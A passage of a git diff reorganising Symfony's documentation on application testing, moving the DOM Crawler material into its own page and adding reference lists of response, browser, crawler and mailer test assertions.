+    $client->xmlHttpRequest('POST', '/submit', ['name' => 'Fabien']);
 
-Redirecting
-~~~~~~~~~~~
+Sending Custom Headers
+......................
 
-When a request returns a redirect response, the client does not follow
-it automatically. You can examine the response and force a redirection
-afterwards with the ``followRedirect()`` method::
+If your application behaves according to some HTTP headers, pass them as the
+second argument of ``createClient()``::
 
-    $crawler = $client->followRedirect();
+    $client = static::createClient([], [
+        'HTTP_HOST'       => 'en.example.com',
+        'HTTP_USER_AGENT' => 'MySuperBrowser/1.0',
+    ]);
 
-If you want the client to automatically follow all redirects, you can
-force them by calling the ``followRedirects()`` method before performing the request::
+You can also override HTTP headers on a per request basis::
 
-    $client->followRedirects();
+    $client->request('GET', '/', [], [], [
+        'HTTP_HOST'       => 'en.example.com',
+        'HTTP_USER_AGENT' => 'MySuperBrowser/1.0',
+    ]);
 
-If you pass ``false`` to the ``followRedirects()`` method, the redirects
-will no longer be followed::
+.. caution::
 
-    $client->followRedirects(false);
+    The name of your custom headers must follow the syntax defined in the
+    `section 4.1.18 of RFC 3875`_: replace ``-`` by ``_``, transform it into
+    uppercase and prefix the result with ``HTTP_``. For example, if your
+    header name is ``X-Session-Token``, pass ``HTTP_X_SESSION_TOKEN``.
 
 Reporting Exceptions
-~~~~~~~~~~~~~~~~~~~~
+....................
 
-Debugging exceptions in functional tests may be difficult because by default
+Debugging exceptions in application tests may be difficult because by default
 they are caught and you need to look at the logs to see which exception was
 thrown. Disabling catching of exceptions in the test client allows the exception
 to be reported by PHPUnit::
 
     $client->catchExceptions(false);
 
-.. index::
-   single: Tests; Crawler
-
-.. _testing-crawler:
-
-The Crawler
------------
-
-A Crawler instance is returned each time you make a request with the Client.
-It allows you to traverse HTML documents, select nodes, find links and forms.
-
-Traversing
-~~~~~~~~~~
-
-Like jQuery, the Crawler has methods to traverse the DOM of an HTML/XML
-document. For example, the following finds all ``input[type=submit]`` elements,
-selects the last one on the page, and then selects its immediate parent element::
-
-    $newCrawler = $crawler->filter('input[type=submit]')
-        ->last()
-        ->parents()
-        ->first()
-    ;
-
-Many other methods are also available:
-
-``filter('h1.title')``
-    Nodes that match the CSS selector.
-``filterXpath('h1')``
-    Nodes that match the XPath expression.
-``eq(1)``
-    Node for the specified index.
-``first()``
-    First node.
-``last()``
-    Last node.
-``siblings()``
-    Siblings.
-``nextAll()``
-    All following siblings.
-``previousAll()``
-    All preceding siblings.
-``parents()``
-    Returns the parent nodes.
-``children()``
-    Returns children nodes.
-``reduce($lambda)``
-    Nodes for which the callable does not return false.
-
-Since each of these methods returns a new ``Crawler`` instance, you can
-narrow down your node selection by chaining the method calls::
-
-    $crawler
-        ->filter('h1')
-        ->reduce(function ($node, $i) {
-            if (!$node->attr('class')) {
-                return false;
-            }
-        })
-        ->first()
-    ;
+Accessing Internal Objects
+..........................
 
-.. tip::
+If you use the client to test your application, you might want to access the
+client's internal objects::
 
-    Use the ``count()`` function to get the number of nodes stored in a Crawler:
-    ``count($crawler)``
+    $history = $client->getHistory();
+    $cookieJar = $client->getCookieJar();
 
-Extracting Information
-~~~~~~~~~~~~~~~~~~~~~~
+You can also get the objects related to the latest request::
 
-The Crawler can extract information from the nodes::
+    // the HttpKernel request instance
+    $request = $client->getRequest();
 
-    use Symfony\Component\DomCrawler\Crawler;
-    
-    // returns the attribute value for the first node
-    $crawler->attr('class');
+    // the BrowserKit request instance
+    $request = $client->getInternalRequest();
 
-    // returns the node value for the first node
-    $crawler->text();
+    // the HttpKernel response instance
+    $response = $client->getResponse();
+
+    // the BrowserKit response instance
+    $response = $client->getInternalResponse();
+
+    // the Crawler instance
+    $crawler = $client->getCrawler();
+
+Accessing the Profiler Data
+...........................
+
+On each request, you can enable the Symfony profiler to collect data about the
+internal handling of that request. For example, the profiler could be used to
+verify that a given page runs less than a certain number of database
+queries when loading.
+
+To get the profiler for the last request, do the following::
+
+    // enables the profiler for the very next request
+    $client->enableProfiler();
+
+    $crawler = $client->request('GET', '/profiler');
+
+    // gets the profile
+    $profile = $client->getProfile();
+
+For specific details on using the profiler inside a test, see the
+:doc:`/testing/profiling` article.
+
+.. _testing-applications-act:
 
-    // returns the default text if the node does not exist
-    $crawler->text('Default text content');
+Interacting with the Response
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-    // pass TRUE as the second argument of text() to remove all extra white spaces, including
-    // the internal ones (e.g. "  foo\n  bar    baz \n " is returned as "foo bar baz")
-    $crawler->text(null, true);
+Like a real browser, the Client and Crawler objects can be used to interact
+with the page you're served:
 
-    // extracts an array of attributes for all nodes
-    // (_text returns the node value)
-    // returns an array for each element in crawler,
-    // each with the value and href
-    $info = $crawler->extract(['_text', 'href']);
+.. contents::
+    :local:
+    :depth: 1
 
-    // executes a lambda for each node and return an array of results
-    $data = $crawler->each(function (Crawler $node, $i) {
-        return $node->attr('href');
-    });
+.. _testing-links:
 
-Links
-~~~~~
+Clicking on Links
+.................
 
 Use the ``clickLink()`` method to click on the first link that contains the
 given text (or the first clickable image with that ``alt`` attribute)::
@@ -804,16 +750,21 @@ given text (or the first clickable image with that ``alt`` attribute)::
 
 If you need access to the :class:`Symfony\\Component\\DomCrawler\\Link` object
 that provides helpful methods specific to links (such as ``getMethod()`` and
-``getUri()``), use the ``selectLink()`` method instead::
+``getUri()``), use the ``Crawler::selectLink()`` method instead::
 
     $client = static::createClient();
     $crawler = $client->request('GET', '/post/hello-world');
 
     $link = $crawler->selectLink('Click here')->link();
+    // ...
+
+    // use click() if you want to click the selected link
     $client->click($link);
 
-Forms
-~~~~~
+.. _testing-forms:
+
+Submitting Forms
+................
 
 Use the ``submitForm()`` method to submit the form that contains the given button::
 
@@ -830,60 +781,48 @@ The second optional argument is used to override the default form field values.
 
 .. note::
 
-    Notice that you select form buttons and not forms as a form can have several
-    buttons; if you use the traversing API, keep in mind that you must look for a
+    Notice that you select form buttons and not forms, as a form can have several
+    buttons. If you use the traversing API, keep in mind that you must look for a
     button.
 
 If you need access to the :class:`Symfony\\Component\\DomCrawler\\Form` object
 that provides helpful methods specific to forms (such as ``getUri()``,
-``getValues()`` and ``getFields()``) use the ``selectButton()`` method instead::
+``getValues()`` and ``getFields()``) use the ``Crawler::selectButton()`` method instead::
 
     $client = static::createClient();
     $crawler = $client->request('GET', '/post/hello-world');
 
+    // select the button
     $buttonCrawlerNode = $crawler->selectButton('submit');
 
-    // select the form that contains this button
+    // retrieve the Form object for the form belonging to this button
     $form = $buttonCrawlerNode->form();
 
-    // you can also pass an array of field values that overrides the default ones
-    $form = $buttonCrawlerNode->form([
-        'my_form[name]'    => 'Fabien',
-        'my_form[subject]' => 'Symfony rocks!',
-    ]);
-
-    // you can pass a second argument to override the form HTTP method
-    $form = $buttonCrawlerNode->form([], 'DELETE');
+    // set values on a form object
+    $form['my_form[name]'] = 'Fabien';
+    $form['my_form[subject]'] = 'Symfony rocks!';
 
     // submit the Form object
     $client->submit($form);
 
-The field values can also be passed as a second argument of the ``submit()``
-method::
-
+    // optionally, you can combine the last 2 steps by passing an array of
+    // field values while submitting the form:
     $client->submit($form, [
         'my_form[name]'    => 'Fabien',
         'my_form[subject]' => 'Symfony rocks!',
     ]);
 
-For more complex situations, use the ``Form`` instance as an array to set the
-value of each field individually::
-
-    // changes the value of a field
-    $form['my_form[name]'] = 'Fabien';
-    $form['my_form[subject]'] = 'Symfony rocks!';
-
-There is also a nice API to manipulate the values of the fields according to
-their type::
+Based on the form type, you can use different methods to fill in the
+input::
 
     // selects an option or a radio
-    $form['country']->select('France');
+    $form['my_form[country]']->select('France');
 
     // ticks a checkbox
-    $form['like_symfony']->tick();
+    $form['my_form[like_symfony]']->tick();
 
     // uploads a file
-    $form['photo']->upload('/path/to/lucas.jpg');
+    $form['my_form[photo]']->upload('/path/to/lucas.jpg');
 
     // In the case of a multiple file upload
     $form['my_form[field][0]']->upload('/path/to/lucas.jpg');
@@ -918,228 +857,165 @@ their type::
         $client->submit($form, [], ['HTTP_ACCEPT_LANGUAGE' => 'es']);
         $client->submitForm($button, [], 'POST', ['HTTP_ACCEPT_LANGUAGE' => 'es']);
 
-Adding and Removing Forms to a Collection
-.........................................
-
-If you use a :doc:`Collection of Forms </form/form_collections>`,
-you can't add fields to an existing form with
-``$form['task[tags][0][name]'] = 'foo';``. This results in an error
-``Unreachable field "…"`` because ``$form`` can only be used in order to
-set values of existing fields. In order to add new fields, you have to
-add the values to the raw data array::
-
-    // gets the form
-    $form = $crawler->filter('button')->form();
-
-    // gets the raw values
-    $values = $form->getPhpValues();
-
-    // adds fields to the raw values
-    $values['task']['tags'][0]['name'] = 'foo';
-    $values['task']['tags'][1]['name'] = 'bar';
-
-    // submits the form with the existing and new values
-    $crawler = $client->request($form->getMethod(), $form->getUri(), $values,
-        $form->getPhpFiles());
-
-    // the 2 tags have been added to the collection
-    $this->assertEquals(2, $crawler->filter('ul.tags > li')->count());
-
-Where ``task[tags][0][name]`` is the name of a field created
-with JavaScript.
-
-You can remove an existing field, e.g. a tag::
-
-    // gets the values of the form
-    $values = $form->getPhpValues();
-
-    // removes the first tag
-    unset($values['task']['tags'][0]);
+.. _testing-application-assertions:
 
-    // submits the data
-    $crawler = $client->request($form->getMethod(), $form->getUri(),
-        $values, $form->getPhpFiles());
-
-    // the tag has been removed
-    $this->assertEquals(0, $crawler->filter('ul.tags > li')->count());
-
-.. index::
-   pair: Tests; Configuration
-
-Testing Configuration
----------------------
-
-The Client used by functional tests creates a Kernel that runs in a special
-``test`` environment. Since Symfony loads the ``config/packages/test/*.yaml``
-in the ``test`` environment, you can tweak any of your application's settings
-specifically for testing.
-
-For example, by default, the Swift Mailer is configured to *not* actually
-deliver emails in the ``test`` environment. You can see this under the ``swiftmailer``
-configuration option:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/test/swiftmailer.yaml
-
-        # ...
-        swiftmailer:
-            disable_delivery: true
-
-    .. code-block:: xml
-
-        <!-- config/packages/test/swiftmailer.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/swiftmailer
-                https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd">
-
-            <!-- ... -->
-            <swiftmailer:config disable-delivery="true"/>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/test/swiftmailer.php
-
-        // ...
-        $container->loadFromExtension('swiftmailer', [
-            'disable_delivery' => true,
-        ]);
-
-You can also use a different environment entirely, or override the default
-debug mode (``true``) by passing each as options to the ``createClient()``
-method::
-
-    $client = static::createClient([
-        'environment' => 'my_test_env',
-        'debug'       => false,
-    ]);
-
-Customizing Database URL / Environment Variables
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-If you need to customize some environment variables for your tests (e.g. the
-``DATABASE_URL`` used by Doctrine), you can do that by overriding anything you
-need in your ``.env.test`` file:
-
-.. code-block:: text
-
-    # .env.test
-    DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name_test"
-
-    # use SQLITE
-    # DATABASE_URL="sqlite:///%kernel.project_dir%/var/app.db"
-
-This file is automatically read in the ``test`` environment: any keys here override
-the defaults in ``.env``.
-
-.. caution::
-
-    Applications created before November 2018 had a slightly different system,
-    involving a ``.env.dist`` file. For information about upgrading, see:
-    :doc:`configuration/dot-env-changes`.
-
-Sending Custom Headers
-~~~~~~~~~~~~~~~~~~~~~~
-
-If your application behaves according to some HTTP headers, pass them as the
-second argument of ``createClient()``::
-
-    $client = static::createClient([], [
-        'HTTP_HOST'       => 'en.example.com',
-        'HTTP_USER_AGENT' => 'MySuperBrowser/1.0',
-    ]);
-
-You can also override HTTP headers on a per request basis::
-
-    $client->request('GET', '/', [], [], [
-        'HTTP_HOST'       => 'en.example.com',
-        'HTTP_USER_AGENT' => 'MySuperBrowser/1.0',
-    ]);
-
-.. tip::
-
-    The test client is available as a service in the container in the ``test``
-    environment (or wherever the :ref:`framework.test <reference-framework-test>`
-    option is enabled). This means you can override the service entirely
-    if you need to.
-
-.. index::
-   pair: PHPUnit; Configuration
-
-PHPUnit Configuration
-~~~~~~~~~~~~~~~~~~~~~
-
-Each application has its own PHPUnit configuration, stored in the
-``phpunit.xml.dist`` file. You can edit this file to change the defaults or
-create a ``phpunit.xml`` file to set up a configuration for your local machine
-only.
-
-.. tip::
-
-    Store the ``phpunit.xml.dist`` file in your code repository and ignore
-    the ``phpunit.xml`` file.
-
-By default, only the tests stored in ``tests/`` are run via the ``phpunit`` command,
-as configured in the ``phpunit.xml.dist`` file:
-
-.. code-block:: xml
-
-    <!-- phpunit.xml.dist -->
-    <phpunit>
-        <!-- ... -->
-        <testsuites>
-            <testsuite name="Project Test Suite">
-                <directory>tests</directory>
-            </testsuite>
-        </testsuites>
-        <!-- ... -->
-    </phpunit>
-
-But you can add more directories. For instance, the following
-configuration adds tests from a custom ``lib/tests`` directory:
-
-.. code-block:: xml
+Testing the Response (Assertions)
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-    <!-- phpunit.xml.dist -->
-    <phpunit>
-        <!-- ... -->
-        <testsuites>
-            <testsuite name="Project Test Suite">
-                <!-- ... --->
-                <directory>lib/tests</directory>
-            </testsuite>
-        </testsuites>
-        <!-- ... -->
-    </phpunit>
+Now that the tests have visited a page and interacted with it (e.g. filled
+in a form), it is time to verify that the expected output is shown.
+
+As all tests are based on PHPUnit, you can use any `PHPUnit Assertion`_ in
+your tests. Combined with test Client and the Crawler, this allows you to
+check anything you want.
+
+However, Symfony provides useful shortcut methods for the most common cases:
+
+.. contents::
+    :local:
+    :depth: 1
+
+Response Assertions
+...................
+
+``assertResponseIsSuccessful(string $message = '')``
+    Asserts that the response was successful (HTTP status is 2xx).
+``assertResponseStatusCodeSame(int $expectedCode, string $message = '')``
+    Asserts a specific HTTP status code.
+``assertResponseRedirects(string $expectedLocation = null, int $expectedCode = null, string $message = '')``
+    Asserts the response is a redirect response (optionally, you can check
+    the target location and status code).
+``assertResponseHasHeader(string $headerName, string $message = '')``/``assertResponseNotHasHeader(string $headerName, string $message = '')``
+    Asserts the given header is (not) available on the response.
+``assertResponseHeaderSame(string $headerName, string $expectedValue, string $message = '')``/``assertResponseHeaderNotSame(string $headerName, string $expectedValue, string $message = '')``
+    Asserts the given header does (not) contain the expected value on the
+    response.
+``assertResponseHasCookie(string $name, string $path = '/', string $domain = null, string $message = '')``/``assertResponseNotHasCookie(string $name, string $path = '/', string $domain = null, string $message = '')``
+    Asserts the given cookie is present in the response (optionally
+    checking for a specific cookie path or domain).
+``assertResponseCookieValueSame(string $name, string $expectedValue, string $path = '/', string $domain = null, string $message = '')``
+    Asserts the given cookie is present and set to the expected value.
+``assertResponseFormatSame(?string $expectedFormat, string $message = '')``
+    Asserts the response format returned by the
+    :method:`Symfony\\Component\\HttpFoundation\\Response::getFormat` method
+    is the same as the expected value.
+``assertResponseIsUnprocessable(string $message = '')`` 
+    Asserts the response is unprocessable (HTTP status is 422)
+
+.. versionadded:: 5.3
+
+    The ``assertResponseFormatSame()`` method was introduced in Symfony 5.3.
+    
+.. versionadded:: 5.4
+
+    The ``assertResponseIsUnprocessable()`` method was introduced in Symfony 5.4.   
+
+Request Assertions
+..................
+
+``assertRequestAttributeValueSame(string $name, string $expectedValue, string $message = '')``
+    Asserts the given :ref:`request attribute <component-foundation-attributes>`
+    is set to the expected value.
+``assertRouteSame($expectedRoute, array $parameters = [], string $message = '')``
+    Asserts the request matched the given route and optionally route parameters.
+
+Browser Assertions
+..................
+
+``assertBrowserHasCookie(string $name, string $path = '/', string $domain = null, string $message = '')``/``assertBrowserNotHasCookie(string $name, string $path = '/', string $domain = null, string $message = '')``
+    Asserts that the test Client does (not) have the given cookie set
+    (meaning, the cookie was set by any response in the test).
+``assertBrowserCookieValueSame(string $name, string $expectedValue, string $path = '/', string $domain = null, string $message = '')``
+    Asserts the given cookie in the test Client is set to the expected
+    value.
+``assertThatForClient(Constraint $constraint, string $message = '')``
+    Asserts the given Constraint in the Client. Useful to use your custom asserts
+    in the same way of built-in asserts (i.e. without passing the Client as argument)::
+
+        // add this method in some custom class imported in your tests
+        protected static function assertMyOwnCustomAssert(): void
+        {
+            self::assertThatForClient(new SomeCustomConstraint());
+        }
 
-To include other directories in the code coverage, also edit the ``<filter>``
-section:
+.. versionadded:: 5.4
+
+    The ``assertThatForClient()`` method was introduced in Symfony 5.4.
+
+Crawler Assertions
+..................
+
+``assertSelectorExists(string $selector, string $message = '')``/``assertSelectorNotExists(string $selector, string $message = '')``
+    Asserts that the given selector does (not) match at least one element
+    in the response.
+``assertSelectorTextContains(string $selector, string $text, string $message = '')``/``assertSelectorTextNotContains(string $selector, string $text, string $message = '')``
+    Asserts that the first element matching the given selector does (not)
+    contain the expected text.
+``assertSelectorTextSame(string $selector, string $text, string $message = '')``
+    Asserts that the contents of the first element matching the given
+    selector does (not) equal the expected text.
+``assertPageTitleSame(string $expectedTitle, string $message = '')``
+    Asserts that the ``<title>`` element is equal to the given title.
+``assertPageTitleContains(string $expectedTitle, string $message = '')``
+    Asserts that the ``<title>`` element contains the given title.
+``assertInputValueSame(string $fieldName, string $expectedValue, string $message = '')``/``assertInputValueNotSame(string $fieldName, string $expectedValue, string $message = '')``
+    Asserts that value of the form input with the given name does (not)
+    equal the expected value.
+``assertCheckboxChecked(string $fieldName, string $message = '')``/``assertCheckboxNotChecked(string $fieldName, string $message = '')``
+    Asserts that the checkbox with the given name is (not) checked.
+``assertFormValue(string $formSelector, string $fieldName, string $value, string $message = '')``/``assertNoFormValue(string $formSelector, string $fieldName, string $message = '')``
+    Asserts that value of the field of the first form matching the given
+    selector does (not) equal the expected value.
+
+.. versionadded:: 5.2
+
+    The ``assertCheckboxChecked()``, ``assertCheckboxNotChecked()``,
+    ``assertFormValue()`` and ``assertNoFormValue()`` methods were introduced
+    in Symfony 5.2.
+
+Mailer Assertions
+.................
 
-.. code-block:: xml
+.. versionadded:: 5.1
 
-    <!-- phpunit.xml.dist -->
-    <phpunit>
-        <!-- ... -->
-        <filter>
-            <whitelist>
-                <!-- ... -->
-                <directory>lib</directory>
-                <exclude>
-                    <!-- ... -->
-                    <directory>lib/tests</directory>
-                </exclude>
-            </whitelist>
-        </filter>
-        <!-- ... -->
-    </phpunit>
+    Starting from Symfony 5.1, the following assertions no longer require to make
+    a request with the ``Client`` in a test case extending the ``WebTestCase`` class.
+
+``assertEmailCount(int $count, string $transport = null, string $message = '')``
+    Asserts that the expected number of emails was sent.
+``assertQueuedEmailCount(int $count, string $transport = null, string $message = '')``
+    Asserts that the expected number of emails was queued (e.g. using the
+    Messenger component).
+``assertEmailIsQueued(MessageEvent $event, string $message = '')``/``assertEmailIsNotQueued(MessageEvent $event, string $message = '')``
+    Asserts that the given mailer event is (not) queued. Use
+    ``getMailerEvent(int $index = 0, string $transport = null)`` to
+    retrieve a mailer event by index.
+``assertEmailAttachmentCount(RawMessage $email, int $count, string $message = '')``
+    Asserts that the given email has the expected number of attachments. Use
+    ``getMailerMessage(int $index = 0, string $transport = null)`` to
+    retrievea specific email by index.
+``assertEmailTextBodyContains(RawMessage $email, string $text, string $message = '')``/``assertEmailTextBodyNotContains(RawMessage $email, string $text, string $message = '')``
+    Asserts that the text body of the given email does (not) contain the
+    expected text.
+``assertEmailHtmlBodyContains(RawMessage $email, string $text, string $message = '')``/``assertEmailHtmlBodyNotContains(RawMessage $email, string $text, string $message = '')``
+    Asserts that the HTML body of the given email does (not) contain the
+    expected text.
+``assertEmailHasHeader(RawMessage $email, string $headerName, string $message = '')``/``assertEmailNotHasHeader(RawMessage $email, string $headerName, string $message = '')``
+    Asserts that the given email does (not) have the expected header set.
+``assertEmailHeaderSame(RawMessage $email, string $headerName, string $expectedValue, string $message = '')``/``assertEmailHeaderNotSame(RawMessage $email, string $headerName, string $expectedValue, string $message = '')``
+    Asserts that the given email does (not) have the expected header set to
+    the expected value.
+``assertEmailAddressContains(RawMessage $email, string $headerName, string $expectedValue, string $message = '')``
+    Asserts that the given address header equals the expected e-mail
+    address. This assertion normalizes addresses like ``Jane Smith
+    <jane@example.com>`` into ``jane@example.com``.
+
+.. TODO
+..  End to End Tests (E2E)
+..  ----------------------
+..  * panther
+..  * testing javascript
+..  * UX or form collections as example?
 
 Learn more
 ----------
@@ -1154,8 +1030,12 @@ Learn more
 
 .. _`PHPUnit`: https://phpunit.de/
 .. _`documentation`: https://phpunit.readthedocs.io/
-.. _`PHPUnit Bridge component`: https://symfony.com/components/PHPUnit%20Bridge
+.. _`Writing Tests for PHPUnit`: https://phpunit.readthedocs.io/en/stable/writing-tests-for-phpunit.html
+.. _`PHPUnit documentation`: https://phpunit.readthedocs.io/en/stable/configuration.html
 .. _`unit test`: https://en.wikipedia.org/wiki/Unit_testing
-.. _`$_SERVER`: https://www.php.net/manual/en/reserved.variables.server.php
-.. _`data providers`: https://phpunit.de/manual/current/en/writing-tests-for-phpunit.html#writing-tests-for-phpunit.data-providers
-.. _`code coverage analysis`: https://phpunit.readthedocs.io/en/9.1/code-coverage-analysis.html
+.. _`DAMADoctrineTestBundle`: https://github.com/dmaicher/doctrine-test-bundle
+.. _`Doctrine data fixtures`: https://symfony.com/doc/current/bundles/DoctrineFixturesBundle/index.html
+.. _`DoctrineFixturesBundle documentation`: https://symfony.com/doc/current/bundles/DoctrineFixturesBundle/index.html
+.. _`SymfonyMakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
+.. _`PHPUnit Assertion`: https://phpunit.readthedocs.io/en/stable/assertions.html
+.. _`section 4.1.18 of RFC 3875`: https://tools.ietf.org/html/rfc3875#section-4.1.18
diff --git a/testing/bootstrap.rst b/testing/bootstrap.rst
index bdd7448a519..7acdd6e78cc 100644
--- a/testing/bootstrap.rst
+++ b/testing/bootstrap.rst
@@ -26,7 +26,7 @@ before running the tests:
 .. code-block:: xml
 
     <!-- phpunit.xml.dist -->
-    <?xml version="1.0" encoding="UTF-8"?>
+    <?xml version="1.0" encoding="UTF-8" ?>
     <phpunit
         bootstrap="tests/bootstrap.php"
     >
@@ -39,7 +39,7 @@ cache to be cleared:
 .. code-block:: xml
 
     <!-- phpunit.xml.dist -->
-    <?xml version="1.0" encoding="UTF-8"?>
+    <?xml version="1.0" encoding="UTF-8" ?>
     <phpunit>
         <!-- ... -->
 
diff --git a/testing/database.rst b/testing/database.rst
index 5720125ca53..0bd0d03af62 100644
--- a/testing/database.rst
+++ b/testing/database.rst
@@ -1,123 +1,14 @@
 .. index::
    single: Tests; Database
 
-How to Test Code that Interacts with the Database
-=================================================
+How to Test A Doctrine Repository
+=================================
 
-Configuring a Database for Tests
---------------------------------
+.. seealso::
 
-Tests that interact with the database should use their own separate database to
-not mess with the databases used in the other :ref:`configuration environments <configuration-environments>`.
-To do that, edit or create the ``.env.test.local`` file at the root directory of
-your project and define the new value for the ``DATABASE_URL`` env var:
-
-.. code-block:: bash
-
-    # .env.test.local
-    DATABASE_URL=mysql://USERNAME:PASSWORD@127.0.0.1:3306/DB_NAME?serverVersion=5.7
-
-.. tip::
-
-    A common practice is to append the ``_test`` suffix to the original database
-    names in tests. If the database name in production is called ``project_acme``
-    the name of the testing database could be ``project_acme_test``.
-
-The above assumes that each developer/machine uses a different database for the
-tests. If the entire team uses the same settings for tests, edit or create the
-``.env.test`` file instead and commit it to the shared repository. Learn more
-about :ref:`using multiple .env files in Symfony applications <configuration-multiple-env-files>`.
-
-Resetting the Database Automatically Before each Test
------------------------------------------------------
-
-Tests should be independent from each other to avoid side effects. For example,
-if some test modifies the database (by adding or removing an entity) it could
-change the results of other tests. Run the following command to install a bundle
-that ensures that each test is run with the same unmodified database:
-
-.. code-block:: terminal
-
-    $ composer require --dev dama/doctrine-test-bundle
-
-Now, enable it as a PHPUnit extension or listener:
-
-.. code-block:: xml
-
-    <!-- phpunit.xml.dist -->
-    <phpunit>
-        <!-- ... -->
-
-        <!-- Add this for PHPUnit 7.5 or higher -->
-        <extensions>
-            <extension class="DAMA\DoctrineTestBundle\PHPUnit\PHPUnitExtension"/>
-        </extensions>
-
-        <!-- Add this for PHPUnit 7.0 until 7.4 -->
-        <listeners>
-            <listener class="\DAMA\DoctrineTestBundle\PHPUnit\PHPUnitListener"/>
-        </listeners>
-    </phpunit>
-
-This bundle uses a clever trick to avoid side effects without sacrificing
-performance: it begins a database transaction before every test and rolls it
-back automatically after the test finishes to undo all changes. Read more in the
-documentation of the `DAMADoctrineTestBundle`_.
-
-.. _doctrine-fixtures:
-
-Dummy Data Fixtures
--------------------
-
-Instead of using the real data from the production database, it's common to use
-fake or dummy data in the test database. This is usually called *"fixtures data"*
-and Doctrine provides a library to create and load them. Install it with:
-
-.. code-block:: terminal
-
-    $ composer require --dev doctrine/doctrine-fixtures-bundle
-
-Then, use the ``make:fixtures`` command to generate an empty fixture class:
-
-.. code-block:: terminal
-
-    $ php bin/console make:fixtures
-
-    The class name of the fixtures to create (e.g. AppFixtures):
-    > ProductFixture
-
-Customize the new class to load ``Product`` objects into Doctrine::
-
-    // src/DataFixtures/ProductFixture.php
-    namespace App\DataFixtures;
-
-    use App\Entity\Product;
-    use Doctrine\Bundle\FixturesBundle\Fixture;
-    use Doctrine\Persistence\ObjectManager;
-
-    class ProductFixture extends Fixture
-    {
-        public function load(ObjectManager $manager)
-        {
-            $product = new Product();
-            $product->setName('Priceless widget');
-            $product->setPrice(14.50);
-            $product->setDescription('Ok, I guess it *does* have a price');
-            $manager->persist($product);
-
-            // add more products
-
-            $manager->flush();
-        }
-    }
-
-Empty the database and reload *all* the fixture classes with:
-
-.. code-block:: terminal
-
-    $ php bin/console doctrine:fixtures:load
-
-For more information, read the `DoctrineFixturesBundle documentation`_.
+    The :ref:`main Testing guide <testing-databases>` describes how to use
+    and set-up a database for your automated tests. The contents of this
+    article show ways to test your Doctrine repositories.
 
 Mocking a Doctrine Repository in Unit Tests
 -------------------------------------------
@@ -249,6 +140,3 @@ so, get the entity manager via the service container as follows::
             $this->entityManager = null;
         }
     }
-
-.. _`DAMADoctrineTestBundle`: https://github.com/dmaicher/doctrine-test-bundle
-.. _`DoctrineFixturesBundle documentation`: https://symfony.com/doc/current/bundles/DoctrineFixturesBundle/index.html
diff --git a/testing/dom_crawler.rst b/testing/dom_crawler.rst
new file mode 100644
index 00000000000..7b47487d09f
--- /dev/null
+++ b/testing/dom_crawler.rst
@@ -0,0 +1,94 @@
+.. index::
+   single: Tests; Crawler
+
+The DOM Crawler
+===============
+
+A Crawler instance is returned each time you make a request with the Client.
+It allows you to traverse HTML or XML documents: select nodes, find links
+and forms, and retrieve attributes or contents.
+
+Traversing
+----------
+
+Like jQuery, the Crawler has methods to traverse the DOM of an HTML/XML
+document. For example, the following finds all ``input[type=submit]`` elements,
+selects the last one on the page, and then selects its immediate parent element::
+
+    $newCrawler = $crawler->filter('input[type=submit]')
+        ->last()
+        ->parents()
+        ->first()
+    ;
+
+Many other methods are also available:
+
+``filter('h1.title')``
+    Nodes that match the CSS selector.
+``filterXpath('h1')``
+    Nodes that match the XPath expression.
+``eq(1)``
+    Node for the specified index.
+``first()``
+    First node.
+``last()``
+    Last node.
+``siblings()``
+    Siblings.
+``nextAll()``
+    All following siblings.
+``previousAll()``
+    All preceding siblings.
+``parents()``
+    Returns the parent nodes.
+``children()``
+    Returns children nodes.
+``reduce($lambda)``
+    Nodes for which the callable does not return false.
+
+Since each of these methods returns a new ``Crawler`` instance, you can
+narrow down your node selection by chaining the method calls::
+
+    $crawler
+        ->filter('h1')
+        ->reduce(function ($node, $i) {
+            if (!$node->attr('class')) {
+                return false;
+            }
+        })
+        ->first()
+    ;
+
+.. tip::
+
+    Use the ``count()`` function to get the number of nodes stored in a Crawler:
+    ``count($crawler)``
+
+Extracting Information
+----------------------
+
+The Crawler can extract information from the nodes::
+
+    // returns the attribute value for the first node
+    $crawler->attr('class');
+
+    // returns the node value for the first node
+    $crawler->text();
+
+    // returns the default text if the node does not exist
+    $crawler->text('Default text content');
+
+    // pass TRUE as the second argument of text() to remove all extra white spaces, including
+    // the internal ones (e.g. "  foo\n  bar    baz \n " is returned as "foo bar baz")
+    $crawler->text(null, true);
+
+    // extracts an array of attributes for all nodes
+    // (_text returns the node value)
+    // returns an array for each element in crawler,
+    // each with the value and href
+    $info = $crawler->extract(['_text', 'href']);
+
+    // executes a lambda for each node and return an array of results
+    $data = $crawler->each(function ($node, $i) {
+        return $node->attr('href');
+    });
diff --git a/testing/functional_tests_assertions.rst b/testing/functional_tests_assertions.rst
deleted file mode 100644
index 457d8c39021..00000000000
--- a/testing/functional_tests_assertions.rst
+++ /dev/null
@@ -1,118 +0,0 @@
-.. index::
-   single: Tests; Assertions
-
-Functional Test specific Assertions
-===================================
-
-When doing functional tests, sometimes you need to make complex assertions in
-order to check whether the ``Request``, the ``Response`` or the ``Crawler``
-contain the expected information to make your test succeed.
-
-The following example uses plain PHPUnit to assert that the response redirects
-to a certain URL::
-
-    $this->assertSame(301, $client->getResponse()->getStatusCode());
-    $this->assertSame('https://example.com', $client->getResponse()->headers->get('Location'));
-
-This is the same example using the assertions provided by Symfony::
-
-    $this->assertResponseRedirects('https://example.com', 301);
-
-Assertions Reference
----------------------
-
-Response
-~~~~~~~~
-
-.. note::
-
-    The following assertions only work if a request has been made with the
-    ``Client`` in a test case extending the ``WebTestCase`` class.
-
-- ``assertResponseIsSuccessful()``
-- ``assertResponseStatusCodeSame()``
-- ``assertResponseRedirects()``
